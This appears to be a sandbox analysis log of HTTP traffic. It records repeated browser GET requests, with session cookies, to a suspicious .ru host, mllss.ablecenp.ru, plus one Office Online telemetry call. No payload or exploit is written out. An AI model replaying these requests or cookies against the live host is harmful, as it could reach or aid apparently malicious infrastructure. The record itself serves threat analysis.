Source: global traffic	HTTP traffic detected: GET /klIy4hfSdFjCeQFeuZBahXh1SxKUZVaVn2gQslopdJc1GyLsadJrBQjz78BSy21fpYWk49bDTab230 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvWfrw2DYZZsbHnkjqkstTmQkIfk5jGfh412126 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrncsgxQJuzCBnMvZL6MMxSwNzidkImnSbIwntVC5quaRavqXpe67140 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efwbe6BdOMthO23yyTD1fbEIl7luvtuRLyfboI4LB0sCD3yEiG78150 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klhcEBn0FQQTX11dTIg19JdwxVLcgaa7uTOfF72dK878170 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxx2M5Jdm9gg3qBffFoJIJopt5UabJPIc8FXwxuEsbkhsJTk2VJab180 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsXtw3W2TBidIqgwnqJpSiMshRQIVyjbPXJhKbOghqLwzP6SLnK9TEIjQef194 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kcgr4If1Ay0NrpLsA7GMFNCTL5j8p7n3Ue5JitjXtT9bwrIvNZQTY33Cgz HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klIy4hfSdFjCeQFeuZBahXh1SxKUZVaVn2gQslopdJc1GyLsadJrBQjz78BSy21fpYWk49bDTab230 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klEZEIkxrqLti6SW5Bi0kZrbmbAU1pIscEup3jdGBd6kl2ZW98wsGRQAke7WCDOycofwx220 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wv/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240603.4&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GUK5-ARRAffinity=6a9156a0401cc57bdb8795e2e3640ae99a2eba5b451294b540f9bbbacbb48b40
Source: global traffic	HTTP traffic detected: GET /uvWfrw2DYZZsbHnkjqkstTmQkIfk5jGfh412126 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij2qqMjEJ9AKbaJXrnCNuDneQHNDtEzo7NWfheA0KKkleaFErlGIXFvgGUurqE12209 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrScU3ZeGM5FxMsDy6rWLDvBXIAYzLw4WYBaaSA6N4WN6jy9btstp5K5ItKNwK9ybAjeOfS8wnCFef240 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
